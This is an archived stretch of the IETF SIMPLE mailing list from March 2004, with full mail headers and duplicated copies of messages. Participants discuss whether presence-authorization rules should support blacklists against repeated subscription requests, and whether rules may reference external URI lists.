        Jonathan Rosenberg <jdrosen@dynamicsoft.com>
From: Ted Hardie <hardie@qualcomm.com>
Subject: Re: supporitng blacklists, was: Re: [Simple] Comments on: First
 draft  of text on semantic-based authorization policies [exceptions]
Cc: Markus.Isomaki@nokia.com, simple@ietf.org
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 24 Mar 2004 09:18:15 -0800
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60

At 9:09 AM -0500 03/24/2004, Henning Schulzrinne wrote:
>"Everybody in the world, in any domain, gets to *ask* to subscribe 
>to my presence, but Alice, Bob and Carol have already been told to 
>take a hike and thus shouldn't even be able to ask."
>
>Is this the type of rule we want to be to support?

It's seems to me to be a lot easier just to keep telling them to take a hike
whenever they ask; is there a reason to optimize for this case that I'm
missing?
		regards,
				Ted

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 24 12:24:45 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA07734
	for <simple-archive@odin.ietf.org>; Wed, 24 Mar 2004 12:24:45 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6C6y-0001Jh-TJ
	for simple-archive@odin.ietf.org; Wed, 24 Mar 2004 12:24:17 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2OHOGQR005061
	for simple-archive@odin.ietf.org; Wed, 24 Mar 2004 12:24:16 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6C6y-0001JY-L8
	for simple-web-archive@optimus.ietf.org; Wed, 24 Mar 2004 12:24:16 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA07701
	for <simple-web-archive@ietf.org>; Wed, 24 Mar 2004 12:24:13 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6C6x-0005I2-00
	for simple-web-archive@ietf.org; Wed, 24 Mar 2004 12:24:15 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6C5y-0005E0-00
	for simple-web-archive@ietf.org; Wed, 24 Mar 2004 12:23:15 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6C4z-000599-00; Wed, 24 Mar 2004 12:22:13 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6C4w-00018C-L4; Wed, 24 Mar 2004 12:22:10 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6C44-0000zS-HV
	for simple@optimus.ietf.org; Wed, 24 Mar 2004 12:21:16 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA07559
	for <simple@ietf.org>; Wed, 24 Mar 2004 12:21:13 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6C43-00054Q-00
	for simple@ietf.org; Wed, 24 Mar 2004 12:21:15 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6C34-0004yw-00
	for simple@ietf.org; Wed, 24 Mar 2004 12:20:15 -0500
Received: from ithilien.qualcomm.com ([129.46.51.59])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6C2D-0004nP-00
	for simple@ietf.org; Wed, 24 Mar 2004 12:19:21 -0500
Received: from crowley.qualcomm.com (crowley.qualcomm.com [129.46.61.151])
	by ithilien.qualcomm.com (8.12.10/8.12.5/1.0) with ESMTP id i2OHII0k018225;
	Wed, 24 Mar 2004 09:18:19 -0800 (PST)
Received: from [129.46.227.161] (carbuncle.qualcomm.com [129.46.227.161])
	by crowley.qualcomm.com (8.12.10/8.12.5/1.0) with ESMTP id i2OHIGVl017828;
	Wed, 24 Mar 2004 09:18:16 -0800 (PST)
Mime-Version: 1.0
X-Sender: hardie@mage.qualcomm.com
Message-Id: <p06020400bc8772ec8a91@[129.46.227.161]>
In-Reply-To: <4061967C.4070801@cs.columbia.edu>
References: 
 <E392EEA75EC5F54AB75229B693B1B6A707E7A3B2@esebe018.ntc.nokia.com>
 <4060F169.3090306@cs.columbia.edu> <40613FE8.909@dynamicsoft.com>
 <4061967C.4070801@cs.columbia.edu>
To: Henning Schulzrinne <hgs@cs.columbia.edu>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>
From: Ted Hardie <hardie@qualcomm.com>
Subject: Re: supporitng blacklists, was: Re: [Simple] Comments on: First
 draft  of text on semantic-based authorization policies [exceptions]
Cc: Markus.Isomaki@nokia.com, simple@ietf.org
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 24 Mar 2004 09:18:15 -0800
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60

At 9:09 AM -0500 03/24/2004, Henning Schulzrinne wrote:
>"Everybody in the world, in any domain, gets to *ask* to subscribe 
>to my presence, but Alice, Bob and Carol have already been told to 
>take a hike and thus shouldn't even be able to ask."
>
>Is this the type of rule we want to be to support?

It's seems to me to be a lot easier just to keep telling them to take a hike
whenever they ask; is there a reason to optimize for this case that I'm
missing?
		regards,
				Ted

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 24 13:32:18 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA12013
	for <simple-archive@ietf.org>; Wed, 24 Mar 2004 13:32:18 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6DAo-0002tg-00
	for simple-archive@ietf.org; Wed, 24 Mar 2004 13:32:18 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6D9p-0002pH-00
	for simple-archive@ietf.org; Wed, 24 Mar 2004 13:31:18 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6D8v-0002lN-00; Wed, 24 Mar 2004 13:30:21 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6D8s-0007cg-6o; Wed, 24 Mar 2004 13:30:18 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6D84-0007Yk-5Q
	for simple@optimus.ietf.org; Wed, 24 Mar 2004 13:29:28 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA11836
	for <simple@ietf.org>; Wed, 24 Mar 2004 13:29:26 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6D82-0002iB-00
	for simple@ietf.org; Wed, 24 Mar 2004 13:29:26 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6D76-0002fY-00
	for simple@ietf.org; Wed, 24 Mar 2004 13:28:29 -0500
Received: from magus.nostrum.com ([208.21.192.130] ident=root)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6D6l-0002cF-00
	for simple@ietf.org; Wed, 24 Mar 2004 13:28:07 -0500
Received: from dynamicsoft.com (ben@localhost [127.0.0.1])
	by magus.nostrum.com (8.12.9/8.12.9) with ESMTP id i2OIQIIw066786;
	Wed, 24 Mar 2004 12:26:19 -0600 (CST)
	(envelope-from bcampbell@dynamicsoft.com)
Message-ID: <4061D296.9060500@dynamicsoft.com>
From: Ben Campbell <bcampbell@dynamicsoft.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Ted Hardie <hardie@qualcomm.com>
CC: Henning Schulzrinne <hgs@cs.columbia.edu>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Markus.Isomaki@nokia.com,
        simple@ietf.org
Subject: Re: supporitng blacklists, was: Re: [Simple] Comments on: First draft
  of text on semantic-based authorization policies [exceptions]
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A3B2@esebe018.ntc.nokia.com> <4060F169.3090306@cs.columbia.edu> <40613FE8.909@dynamicsoft.com> <4061967C.4070801@cs.columbia.edu> <p06020400bc8772ec8a91@[129.46.227.161]>
In-Reply-To: <p06020400bc8772ec8a91@[129.46.227.161]>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 24 Mar 2004 12:25:26 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Ted Hardie wrote:
> At 9:09 AM -0500 03/24/2004, Henning Schulzrinne wrote:
> 
>> "Everybody in the world, in any domain, gets to *ask* to subscribe to 
>> my presence, but Alice, Bob and Carol have already been told to take a 
>> hike and thus shouldn't even be able to ask."
>>
>> Is this the type of rule we want to be to support?
> 
> 
> It's seems to me to be a lot easier just to keep telling them to take a 
> hike
> whenever they ask; is there a reason to optimize for this case that I'm
> missing?

The act of asking can become a kind of harrassment. Some time ago, I had 
a yahoo messenger user that continuously asked permission to watch my 
presence, but refused to identify themselves to me. This continued after 
I asked them to desist. Fortunately, yahoo messenger allowed me to block 
that ID, so I no longer get bothered by them.


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 24 13:32:50 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA12087
	for <simple-archive@odin.ietf.org>; Wed, 24 Mar 2004 13:32:50 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6DAs-0007oT-2o
	for simple-archive@odin.ietf.org; Wed, 24 Mar 2004 13:32:22 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2OIWMci030032
	for simple-archive@odin.ietf.org; Wed, 24 Mar 2004 13:32:22 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6DAr-0007oH-US
	for simple-web-archive@optimus.ietf.org; Wed, 24 Mar 2004 13:32:21 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA12031
	for <simple-web-archive@ietf.org>; Wed, 24 Mar 2004 13:32:19 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6DAp-0002tl-00
	for simple-web-archive@ietf.org; Wed, 24 Mar 2004 13:32:19 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6D9q-0002pO-00
	for simple-web-archive@ietf.org; Wed, 24 Mar 2004 13:31:19 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6D8v-0002lN-00; Wed, 24 Mar 2004 13:30:21 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6D8s-0007cg-6o; Wed, 24 Mar 2004 13:30:18 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6D84-0007Yk-5Q
	for simple@optimus.ietf.org; Wed, 24 Mar 2004 13:29:28 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA11836
	for <simple@ietf.org>; Wed, 24 Mar 2004 13:29:26 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6D82-0002iB-00
	for simple@ietf.org; Wed, 24 Mar 2004 13:29:26 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6D76-0002fY-00
	for simple@ietf.org; Wed, 24 Mar 2004 13:28:29 -0500
Received: from magus.nostrum.com ([208.21.192.130] ident=root)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6D6l-0002cF-00
	for simple@ietf.org; Wed, 24 Mar 2004 13:28:07 -0500
Received: from dynamicsoft.com (ben@localhost [127.0.0.1])
	by magus.nostrum.com (8.12.9/8.12.9) with ESMTP id i2OIQIIw066786;
	Wed, 24 Mar 2004 12:26:19 -0600 (CST)
	(envelope-from bcampbell@dynamicsoft.com)
Message-ID: <4061D296.9060500@dynamicsoft.com>
From: Ben Campbell <bcampbell@dynamicsoft.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Ted Hardie <hardie@qualcomm.com>
CC: Henning Schulzrinne <hgs@cs.columbia.edu>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Markus.Isomaki@nokia.com,
        simple@ietf.org
Subject: Re: supporitng blacklists, was: Re: [Simple] Comments on: First draft
  of text on semantic-based authorization policies [exceptions]
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A3B2@esebe018.ntc.nokia.com> <4060F169.3090306@cs.columbia.edu> <40613FE8.909@dynamicsoft.com> <4061967C.4070801@cs.columbia.edu> <p06020400bc8772ec8a91@[129.46.227.161]>
In-Reply-To: <p06020400bc8772ec8a91@[129.46.227.161]>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 24 Mar 2004 12:25:26 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Ted Hardie wrote:
> At 9:09 AM -0500 03/24/2004, Henning Schulzrinne wrote:
> 
>> "Everybody in the world, in any domain, gets to *ask* to subscribe to 
>> my presence, but Alice, Bob and Carol have already been told to take a 
>> hike and thus shouldn't even be able to ask."
>>
>> Is this the type of rule we want to be to support?
> 
> 
> It's seems to me to be a lot easier just to keep telling them to take a 
> hike
> whenever they ask; is there a reason to optimize for this case that I'm
> missing?

The act of asking can become a kind of harrassment. Some time ago, I had 
a yahoo messenger user that continuously asked permission to watch my 
presence, but refused to identify themselves to me. This continued after 
I asked them to desist. Fortunately, yahoo messenger allowed me to block 
that ID, so I no longer get bothered by them.


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 24 16:24:24 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA22213
	for <simple-archive@ietf.org>; Wed, 24 Mar 2004 16:24:24 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6FrM-0002Jl-00
	for simple-archive@ietf.org; Wed, 24 Mar 2004 16:24:24 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6Fqe-0002HX-00
	for simple-archive@ietf.org; Wed, 24 Mar 2004 16:23:41 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6Fq5-0002EN-00; Wed, 24 Mar 2004 16:23:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6Fq1-0000IM-U0; Wed, 24 Mar 2004 16:23:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6Fpl-0000HR-5Q
	for simple@optimus.ietf.org; Wed, 24 Mar 2004 16:22:45 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA22089
	for <simple@ietf.org>; Wed, 24 Mar 2004 16:22:42 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6Fpj-0002DO-00
	for simple@ietf.org; Wed, 24 Mar 2004 16:22:43 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6For-00028f-00
	for simple@ietf.org; Wed, 24 Mar 2004 16:21:50 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6FoD-00022e-00
	for simple@ietf.org; Wed, 24 Mar 2004 16:21:09 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2OLL2p03782;
	Wed, 24 Mar 2004 23:21:02 +0200 (EET)
X-Scanned: Wed, 24 Mar 2004 23:20:56 +0200 Nokia Message Protector V1.3.21 2004031416 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i2OLKuJu005141;
	Wed, 24 Mar 2004 23:20:56 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks002.ntc.nokia.com 00F0YhZG; Wed, 24 Mar 2004 23:20:54 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2OLKrs08399;
	Wed, 24 Mar 2004 23:20:53 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 24 Mar 2004 23:20:49 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: external lists, was: Re: [Simple] Comments on: First draft of text on semantic-based authorization policies [external lists]
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A707E7A3BB@esebe018.ntc.nokia.com>
Thread-Topic: external lists, was: Re: [Simple] Comments on: First draft of text on semantic-based authorization policies [external lists]
Thread-Index: AcQRexPQnpXYorJvT9epNa0s7FXoPwAaAsnA
To: <jdrosen@dynamicsoft.com>, <hgs@cs.columbia.edu>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 24 Mar 2004 21:20:49.0986 (UTC) FILETIME=[E1648220:01C411E5]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 24 Mar 2004 23:20:51 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

Hi,

Jonathan Rosenberg wrote:
>=20
> I also think that the external list is, as the name implies,=20
> a reference=20
> to a list of URI that resides elsewhere.=20

This is what I was meaning, sorry that I didn't explain it clearly. And =
in practice I don't think there is (at least initially) any need to =
support references to lists "anywhere in the Internet", just within a =
single administrative domain (for instance under the common XCAP root). =
In that case keeping in synch is more realistic. I don't see any need to =
normatively limit it like that, though.

> It is not a reference to an=20
> external ruleset, as I think Henning has suggested. In one=20
> iteration of=20
> the xcap authorization rules, the URI was an xcap resource=20
> that resolved=20
> to a list of URI in the resource-lists application usage.
>=20
> Does anyone see problems with this?
>

I don't think there would be any problem if the use is limited to =
privacy-safe scenarios, as Jonathan suggested. On the other hand, we =
would gain the possibility of managing a single resource list and using =
it for more than one application.
=20
> I would therefore suggest that we pursue extternal lists as a=20
> separate=20
> document, which can follow shortly after the baseline specification.
>=20

That's OK, if you think that adding this directly to the baseline spec =
would be too much at this point.

> -Jonathan R.
>=20
>=20
> --=20
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
>=20

Markus

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 24 16:24:56 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA22267
	for <simple-archive@odin.ietf.org>; Wed, 24 Mar 2004 16:24:56 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6FrP-0000Rd-Hu
	for simple-archive@odin.ietf.org; Wed, 24 Mar 2004 16:24:28 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2OLORej001703
	for simple-archive@odin.ietf.org; Wed, 24 Mar 2004 16:24:27 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6FrP-0000RO-DY
	for simple-web-archive@optimus.ietf.org; Wed, 24 Mar 2004 16:24:27 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA22231
	for <simple-web-archive@ietf.org>; Wed, 24 Mar 2004 16:24:24 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6FrN-0002Ju-00
	for simple-web-archive@ietf.org; Wed, 24 Mar 2004 16:24:25 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6Fqf-0002He-00
	for simple-web-archive@ietf.org; Wed, 24 Mar 2004 16:23:42 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6Fq5-0002EN-00; Wed, 24 Mar 2004 16:23:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6Fq1-0000IM-U0; Wed, 24 Mar 2004 16:23:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6Fpl-0000HR-5Q
	for simple@optimus.ietf.org; Wed, 24 Mar 2004 16:22:45 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA22089
	for <simple@ietf.org>; Wed, 24 Mar 2004 16:22:42 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6Fpj-0002DO-00
	for simple@ietf.org; Wed, 24 Mar 2004 16:22:43 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6For-00028f-00
	for simple@ietf.org; Wed, 24 Mar 2004 16:21:50 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6FoD-00022e-00
	for simple@ietf.org; Wed, 24 Mar 2004 16:21:09 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2OLL2p03782;
	Wed, 24 Mar 2004 23:21:02 +0200 (EET)
X-Scanned: Wed, 24 Mar 2004 23:20:56 +0200 Nokia Message Protector V1.3.21 2004031416 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i2OLKuJu005141;
	Wed, 24 Mar 2004 23:20:56 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks002.ntc.nokia.com 00F0YhZG; Wed, 24 Mar 2004 23:20:54 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2OLKrs08399;
	Wed, 24 Mar 2004 23:20:53 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 24 Mar 2004 23:20:49 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: external lists, was: Re: [Simple] Comments on: First draft of text on semantic-based authorization policies [external lists]
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A707E7A3BB@esebe018.ntc.nokia.com>
Thread-Topic: external lists, was: Re: [Simple] Comments on: First draft of text on semantic-based authorization policies [external lists]
Thread-Index: AcQRexPQnpXYorJvT9epNa0s7FXoPwAaAsnA
To: <jdrosen@dynamicsoft.com>, <hgs@cs.columbia.edu>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 24 Mar 2004 21:20:49.0986 (UTC) FILETIME=[E1648220:01C411E5]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
